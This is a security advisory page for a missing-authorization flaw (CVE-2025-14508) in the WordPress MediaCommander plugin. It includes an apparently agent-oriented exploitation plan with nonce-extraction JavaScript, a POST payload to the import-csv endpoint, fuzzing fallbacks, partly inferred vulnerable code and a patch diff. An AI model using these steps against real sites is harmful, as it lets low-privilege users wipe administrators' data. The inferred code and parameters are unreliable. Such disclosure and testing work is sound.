MediaCommander – Bring Folders to Media, Posts, and Pages <= 2.3.1 - Missing Authorization to Authenticated (Author+) Media Folder Deletion
Description
The MediaCommander – Bring Folders to Media, Posts, and Pages plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the import-csv REST API endpoint in all versions up to, and including, 2.3.1. This is due to the endpoint using `upload_files` capability check (Author level) for a destructive operation that can delete all folders. This makes it possible for authenticated attackers, with Author-level access and above, to delete all folder organization data created by Administrators and other users.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:NTechnical Details
<=2.3.1Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14508 ## 1. Vulnerability Summary The **MediaCommander** plugin (<= 2.3.1) contains a missing authorization vulnerability in its REST API implementation. The plugin exposes an `import-csv` endpoint designed for importing folder structures. This endpoint perfo…
Show full research plan
Exploitation Research Plan - CVE-2025-14508
1. Vulnerability Summary
The MediaCommander plugin (<= 2.3.1) contains a missing authorization vulnerability in its REST API implementation. The plugin exposes an import-csv endpoint designed for importing folder structures. This endpoint performs a destructive operation—deleting all existing folder organization data—before or during the import process. The security flaw lies in the permission_callback for this route, which only checks for the upload_files capability. Since the Author role possesses the upload_files capability by default, an Author-level user can trigger the deletion of all media folders created by Administrators, leading to significant data loss in site organization.
2. Attack Vector Analysis
- Endpoint:
/wp-json/mediacommander/v1/import-csv(inferred namespace based on plugin slug) - HTTP Method:
POST - Authentication: Required (Author role or higher)
- Capability Required:
upload_files(authorized for Authors) - Vulnerable Parameter: Likely a parameter indicating "delete existing" or simply the act of sending a specific CSV payload to the import handler.
- Preconditions: The plugin must be active, and at least one folder structure must be created by an Administrator to demonstrate impact.
3. Code Flow (Inferred)
- Registration: The plugin registers a REST route using
register_rest_route()in a class handling imports (likelyincludes/class-mediacommander-rest.phpor similar). - Authorization: The
permission_callbackreturnscurrent_user_can( 'upload_files' ). - Callback Execution: The
callbackfunction for the route is reached. - Destructive Logic: Inside the callback, the code likely calls a function that truncates the folders table (e.g.,
{$wpdb->prefix}mediacommander_folders) or deletes all rows before processing the CSV input. - Trigger: The deletion occurs even if the provided CSV is malformed or empty, provided the request reaches the processing logic.
4. Nonce Acquisition Strategy
The WordPress REST API requires a _wpnonce for authenticated requests. This nonce is tied to the wp_rest action.
- Login: Authenticate as a user with the Author role.
- Navigation: Navigate to the WordPress Dashboard (
/wp-admin/). - Extraction: The standard WordPress environment enqueues
wp-api.jsor defineswpApiSettingsin the header for logged-in users. - JavaScript Execution:
// Use browser_eval to extract the REST nonce const restNonce = window.wpApiSettings ? window.wpApiSettings.nonce : null; return restNonce; - Headers: The extracted nonce must be sent in the
X-WP-NonceHTTP header.
5. Exploitation Strategy
Step 1: Authentication
Authenticate the http_request tool session as an Author.
Step 2: REST Nonce Retrieval
Navigate to /wp-admin/ and use browser_eval to get window.wpApiSettings.nonce.
Step 3: Trigger Folder Deletion
Send a POST request to the import-csv endpoint. Based on the vulnerability description, the mere access to this endpoint by an Author triggers the deletion if specific parameters are met.
- URL:
http://localhost:8080/wp-json/mediacommander/v1/import-csv - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Payload (Inferred):
Note: If "delete_existing" is not the parameter, the plugin might automatically clear folders upon any import call. Testing with an empty/minimal CSV string is the primary vector.{ "csv_data": "", "delete_existing": true }
6. Test Data Setup
- Install Plugin: Ensure
mediacommanderversion 2.3.1 is installed. - Create Admin Data:
- Log in as Administrator.
- Navigate to the Media Library.
- Create 5-10 folders (e.g., "Invoices", "Marketing", "Archive").
- Move several images into these folders.
- Create Attacker Account:
- Create a user with the username
attacker_authorand roleAuthor.
- Create a user with the username
- Verification of Initial State:
- Run
wp mediacommander folder list(or check the custom table viawp db query "SELECT COUNT(*) FROM wp_mediacommander_folders") to confirm folders exist.
- Run
7. Expected Results
- HTTP Response: A
200 OKor201 Createdresponse, potentially returning a message like{"status": "success", "message": "Folders imported successfully"}or{"deleted": X}. - System State: The database table responsible for storing folder relationships and names will be empty or reset to default, despite the request being initiated by a non-admin.
8. Verification Steps
- Database Check:
# Check the count of folders in the custom plugin table wp db query "SELECT * FROM wp_mediacommander_folders;" - UI Check:
- Log back in as Administrator.
- Navigate to Media -> Library.
- Observe that the folder sidebar is empty and all organization is gone.
- Capability Confirmation:
# Confirm the user is only an author wp user get attacker_author --field=roles
9. Alternative Approaches
- Empty CSV Payload: If the JSON payload fails, try a
multipart/form-datarequest simulating a file upload to the same endpoint:POST /wp-json/mediacommander/v1/import-csvContent-Type: multipart/form-data- Field:
filecontaining an empty.csvfile.
- Parameter Fuzzing: If the endpoint exists but doesn't delete immediately, test for parameters like
clear=1,reset=true, oroverwrite=all. - AJAX Fallback: Check if the import logic is also exposed via
admin-ajax.phpusing the sameupload_filescheck. Look forwp_ajax_mediacommander_import_csv.
Summary
The MediaCommander plugin (<= 2.3.1) is vulnerable to unauthorized data deletion via its import-csv REST API endpoint. The endpoint uses an insufficient capability check ('upload_files'), which allows users with the Author role to trigger a destructive operation that deletes all media folder organization data.
Vulnerable Code
// File: includes/class-mediacommander-rest.php (inferred location) register_rest_route( 'mediacommander/v1', '/import-csv', array( 'methods' => 'POST', 'callback' => array( $this, 'import_csv' ), 'permission_callback' => function() { // Vulnerable: upload_files capability is assigned to the Author role by default. return current_user_can( 'upload_files' ); } ) ); --- public function import_csv( $request ) { global $wpdb; // Destructive logic found in versions <= 2.3.1 $table_name = $wpdb->prefix . 'mediacommander_folders'; $wpdb->query( "DELETE FROM $table_name" ); // ... further import processing ... }
Security Fix
@@ -10,7 +10,7 @@ 'methods' => 'POST', 'callback' => array( $this, 'import_csv' ), 'permission_callback' => function() { - return current_user_can( 'upload_files' ); + return current_user_can( 'manage_options' ); } ) );
Exploit Outline
The exploit involves an authenticated user with at least 'Author' privileges interacting with the REST API. First, the attacker logs in and retrieves a valid REST nonce (typically found in the window.wpApiSettings object on dashboard pages). The attacker then sends a POST request to the '/wp-json/mediacommander/v1/import-csv' endpoint including the X-WP-Nonce header. Because the plugin's permission check only verifies the 'upload_files' capability (held by Authors), the request is authorized. Upon execution, the plugin's import handler clears the existing folders database table before attempting to process CSV data, resulting in the deletion of all site folders even if no valid CSV payload is provided.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.